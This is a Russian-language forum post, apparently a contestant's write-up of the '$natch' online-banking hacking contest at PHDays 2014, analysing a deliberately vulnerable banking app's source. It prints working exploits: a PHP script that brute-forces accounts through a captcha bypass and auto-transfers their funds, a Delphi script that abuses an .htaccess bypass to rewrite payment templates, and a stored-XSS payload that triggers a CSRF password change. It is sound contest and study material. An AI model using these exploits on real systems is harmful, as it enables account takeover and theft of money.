Показать сообщение отдельно

  #1  
Старый 24.05.2014, 05:31
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Итак, пока живы воспоминания, опишем как проходил традиционный конкурс "$natch" (или как его ещё называют "Большой ку$h") в рамках конференции PHDays 2014.

В этом году, на мой взгляд, организаторы существенно усложнили эксплуатирование уязвимостей, не только расширив их количество до 6, но и задействовав не самые очевидные и простые технологии для реализации эксплойтов.

Образ для скачивания ДБО и скрипты были выложены за сутки до начала конференции, что как бы непрозрачно намекало, что времени на реверсинг и написание эксплойтов понадобится много.

Впрочем, на мой взгляд, я допустил 2 ошибки при подготовке к этому конкурсу - поехал на конференцию со слабым нетбуком, который браузер то не всегда открывает (не хотелось таскаться с тяжестями) и сел за реверсинг и за написание эксплойтов всего лишь за 9 часов до начала самого конкурса.

Тем не менее, часть уязвимостей была найдена, эксплойты частично написаны, так что начало конкурса я встретил во всеоружии.

Начнём описание с очевидных технологий эксплуатирования уязвимостей. И первым, конечно же, идёт старый добрый брутфорс.

Вообще разработчики встроили в ДБО каптчу, что, в приницпе, легко обходилось переходом в "мобильный" интерфейс и установкой нужного cookie.

Application\Controller\AuthController.php

Код:
public function loginAction()
    {
       ...
        if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
            if ($result == 1) {
                $this->redirect('/');
            } elseif ($result == -1) {
                $return['loginError'] = true;
            } elseif ($result == 0) {
                $return['pwdError'] = true;
            }
        }
Application\Controller\IndexController.php

Код:
...
    public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Соответственно, брутфорс упрощается донельзя. Приведенный далее эксплойт не только брутит аккаунты ДБО, но и автоматически проводит транзакции по переводу денежных средств на нужный счёт.

Exploit #1

Код:
 $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
	CURLOPT_COOKIE => 'mobileInterface=true',
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 0,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

$passwords = array_map('rtrim', file('passwords.dict'));

while (1) {
    $found = false;
    foreach ($passwords as $password) {
        $result = login($ch, $login, $password, $domain);
        if (strpos($result, 'Wrong password'))
            continue;

        if (strpos($result, 'User not found'))
            exit;

        $found = true;
        break;
    }

    if ($found) {
        $id = $login - 100000;
        
        curl_setopt_array($ch, array(
            CURLOPT_URL  => $domain . '/payments/create',
            CURLOPT_POST => 0,
        ));

        $result = curl_exec($ch);

        if (!preg_match("~.*\(([0-9,\.]+)\s* Rub\)~msU", $result, $match))
            continue;
	
        $sum = $match[2];

        if ($sum  $domain . '/payments/create',
            CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_POST           => 1,
            CURLOPT_POSTFIELDS     => http_build_query(array(
                'from' => $id,
                'to'   => $account,
                'sum'  => $sum,
                'description' => 'phdays'
            )),
        ));

        $result = curl_exec($ch);

        preg_match("~/payments/delete/id/(\d+)~", $result, $match);
        $transaction_id = $match[1] ;

        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/payments/process/id/' . $transaction_id,
            CURLOPT_FOLLOWLOCATION => 0,
            CURLOPT_POST           => 0,
        ));

        echo "From $id sum $sum\n";

        $result = curl_exec($ch);
    }

    $login++;

    logout($ch, $domain);
}
Следующей найденной уязвимостью была возможность редактирования любых существующих платежных шаблонов через "операторское" меню.

Вообще на само существование этой полу-админки намекал файл в основной директории.

Application\Controller\OperatorContoller.php

Код:
...
 public function editTemplateAction()
    {
        $transService = $this->serviceManager->get('TransactionService');
        $userService  = $this->serviceManager->get('userService');
        $template     = $transService->fetchTemplateById($this->request->getParam('id'));

        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();

        $user     = $userService->fetchById($template->getUserId());
        $accounts = $userService->fetchUserAccounts($user);

        if ($this->request->isPost()) {
            $fromId = $this->request->getPost('from');
            $found  = false;

            foreach ($accounts as $account) {
                if ($account->getId() == $fromId) {
                    $found = true;
                    break;
                }
            }

            if (!$found) {
                throw new \Exception("Account not found");
            }

            $template->exchangeArray(array(
                'name' => $this->request->getPost('name'),
                'from' => $fromId,
                'to'   => $this->request->getPost('to'),
                'sum'  => $this->request->getPost('sum'),
            ));

            if ($transService->updateTemplate($template)) {
                $this->redirect('/operator/userInfo/id/' . $template->getUserId());
            }
        }

        return array(
            'template' => $template,
            'accounts' => $accounts,
        );
    }
Единственной проблемой было обойти .htaccess, запрещающий вход в меню оператора. Так как конкурс предполагал наличие ботов, которые будут постоянно совершать транзакции друг другу, был набросан необходимый алгоритм эксплойта.

Соответсвенно для успешного эксплуатирования данной уязвимости эксплойт должен уметь

1) Обходить ограничение .htaccess

2) Отредактировать существующий шаблон

3) Циклически проходить по всем существующим шаблонам, так как другие участники конкурса тоже будут пытаться их постоянно изменять.

Было найдено 2 варианта обхода ограничения .htaccess. Первый предполагал использование в запросе символов разного регистра (oPerator вместо operator), второй использование символов, принудительно вырезаемых сервером при нормализации запроса (operator$ вместо operator).

По странной случайности, буквально за пару месяцев до конкурса я разрабатывал похожее приложение на Delphi, а так как портировать на PHP за отсутствием свободного времени не представлялось возможным, пришлось чуток менять исходник и использовать то, что есть.

Expoit #2

Код:
HTTPS:=TIdHTTP.create;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
HTTPS.IOHandler:=SSL;
HTTPS.HandleRedirects:=true;
HTTPS.ConnectTimeout:=1500000;
HTTPS.AllowCookies:=true;

cook:='mobileInterface=true; act=UserService.php; f=N; c=/var/www/Application/Service/';

HTTPS.Request.CustomHeaders.Add('Cookie: '+cook);

AllTemplates:=TStringList.Create;

 try
 AllTemplates.Text:=HTTPS.Get(fsite);
 finally
 //FreeAndNil( Stream );
 end;

  fullstr:=AllTemplates.Text;
  AllTemplates.Clear;
  repeat
    if pos('/operator/editTemplate/id/',fullstr)>0 then
    begin
    str:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+26,5);
    fullstr:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+32,1000000);
    Delete(str,pos('"',str),100);
    AllTemplates.Add(str);
    end;
  until (pos('/operator/editTemplate/id/',fullstr)getUserId() != $user->getId())
            throw new ForbiddenException();
        
        if ($from->getId() == $to->getId())
            throw new \Exception("Usage of same account for recipient and sender is not allowed.");
        
        $sum = round($sum, 2);
        if ($sum getOtpMethod() == 'mtan')
            $otpCode = $this->generateMTanCode();

        $confirmed = $user->getOtpMethod() == 'none' ? true : false;
        
        $query = "INSERT transactions VALUES(null,?,?,?,?,?,?,?)";
        $this->db->query($query, $user->getId(), $from->getId(), $to->getId(), $sum, $otpCode, $confirmed, $description);

        $transaction = new Transaction();
        $transaction->exchangeArray(array(
            'id'          => $this->db->lastInsertId(),
            'user_id'     => $user->getId(),
            'from'        => $from->getId(),
            'to'          => $to->getId(),
            'sum'         => $sum,
            'otp_code'    => $otpCode,
            'confirmed'   => $confirmed,
            'description' => $description,
        ));

        return $transaction;
    } 

...

public function commitTransaction($transactionId, User $user)
    {
        $this->db->beginTransaction();
        
        try {
            $sqlTransaction = "SELECT * FROM transactions WHERE id = ? AND confirmed = 1 FOR UPDATE";
            $sth = $this->db->query($sqlTransaction, $transactionId);
            if (!$sth->rowCount())
                throw new Exception\TransactionNotFoundException();

            $transaction = new Transaction();
            $transaction->exchangeArray($sth->fetch());
            
            if ($transaction->getUserId() != $user->getId())
                throw new ForbiddenException();
            
            $accountFrom = $this->fetchAccountForUpdate($transaction->getFrom());
            $accountTo   = $this->fetchAccountForUpdate($transaction->getTo());

            if ($accountFrom->getBalance() getSum())
                throw new Exception\InsufficientFundsException();
            
            $sum         = $transaction->getSum();
            $balanceFrom = round($accountFrom->getBalance() - $sum, 2);
            $k           = $accountFrom->getCurrency() . '>' . $accountTo->getCurrency();
            $sum         = $this->rates[$k] * $sum;
            $balanceTo   = round($accountTo->getBalance() + $sum, 2);

            $query = "UPDATE accounts SET `balance` = ? WHERE id = ?";

            $this->db->query($query, $balanceTo, $transaction->getTo());
            $this->db->query($query, $balanceFrom, $transaction->getFrom());
            
            $this->db->query("DELETE FROM transactions WHERE id = ?", $transactionId);
            
        } catch (\Exception $e) {
            $this->db->rollBack();
            throw $e;
        }
        
        $this->db->commit();
        
        $needShow = ($accountFrom->getUserId() != $accountTo->getUserId());
        
        $this->addTransactionHistory($transaction, $needShow);
    }
Уязвимость существует вследствие округления передаваемой суммы до 2 знаков после запятой.

Код:
$sum = round($sum, 2);
К сожалению, о существовании этой уязвимости я узнал лишь после конкурса, поэтому эксплойта приложить не могу.

Четвёртой уязвимостью была стандартная CSRF в форме смены пароля. При наличии XSS или каком-либо ещё факторе мы можем заставить целевой аккаунт сменить свой пароль на любой указанный нами.

Application\View\templates\Auth\ChangePassword.pht ml

Код:
    
        
            Change password
        
        
        escapeHtml($error) ?>
        
        
            ">
                New password
                
                    
                    
                    Can't be empty
                    
                
            
            ">
                Confirm password
                
                    
                    
                    Wrong password
                    
                
            
            
                
                    Change
                    Back
Application\Controller\AuthController.php

Код:
...
public function changePasswordAction()
    {
        if (!$this->auth->isAuthenticated())
            $this->redirect('/');
        
        $request = $this->serviceManager->get('request');
        
        if ($request->isPost()) {
            $password = $request->getPost('password');
            $confirm  = $request->getPost('confirm');
            
            $error = null;
            
            if (empty($password)) {
                $error = 'passwordError';
            } elseif ($password != $confirm) {
                $error = 'confirmError';
            }
            
            if ($error) {
                return array(
                    $error => true
                );
            }
            
            $this->auth->changePassword($password);
            $this->redirect('/');
        }
    }
Как не сложно заметить, никаких token при смене пароля не используется, а значит смена пароля подвержена уязвимости типа CSRF.

Но сама по себе эта уязвимость мало что даёт, нам нужно было найти способ доставить её до адресата. И этот способ был найден!

Пятая уязвимость - XSS при прохождении транзакции в поле description.

Application\Service\TransactionService.php

Код:
...
public function addTransactionHistory(Transaction $transaction, $needShow = true)
    {
        $sql = "INSERT INTO transactions_history VALUES(?, ?, ?, ?, NOW(), ?, ?)";
        $this->db->query($sql, $transaction->getId(), $transaction->getFrom(),
                         $transaction->getTo(), $transaction->getSum(),
                         $transaction->getDescription(), !$needShow);
        
        return $this;
    }
Поле description попадает в БД без прохождения необходимой фильтрации. Ну казалось бы и ладно, лишь бы оно выводилось с учётом фильтрации или не выводилось нигде вообще... Но коварные разработчики внедрили "фичу" информирования клиентов банкинга о новых поступивших транзакциях, где как раз и выводится информация из поля description в чистом виде.

Application\View\Helper\showIncome.php

Код:
view->currencySymbol($item['currency'])} from {$item['from']}";
            if (!empty($item['description'])) {
                $string .= "({$item['description']})";
            }
            
            $return[] = $string;
        }
        
        $template = 'Income!
%s';
        return sprintf($template, implode("
", $return));
    }

}
Теперь-то мы и можем использовать эксплойт из двух частей: отправим транзакцию целевому аккаунту с ядовитым содержанием в поле description, предварительно начинив её эксплойтом принудительной смены пароля.

Exploit #3

Код:
document.writeln('');
function read(){
var pass = 'BigBearHasYou';
var pass2 = 'BigBearHasYou';
document.writeln('');
document.writeln('
');
document.writeln('');
document.writeln('
');
document.writeln('');
document.forms[0].submit.click();
}
Код:
document.writeln('
У данного эксплойта есть пара недостатков: не используется функция принудительного разлогирования, указанная выше (то есть после получения ядовитой транзакции пользователь оставался залогированным и мог повторно сам сменить себе пароль); есть жёсткая зависимость от наличия CSRF в функции смены пароля; и самый неприятный - на целевом хосте может быть отключено использование JS. В таком случае наш эксплойт просто не отработает. Однако было зафиксировано несколько случаев положительного срабатывания эксплойта, что свидетельствует о том, что не все участники смогли обнаружить данную уязвимость.
 
Ответить с цитированием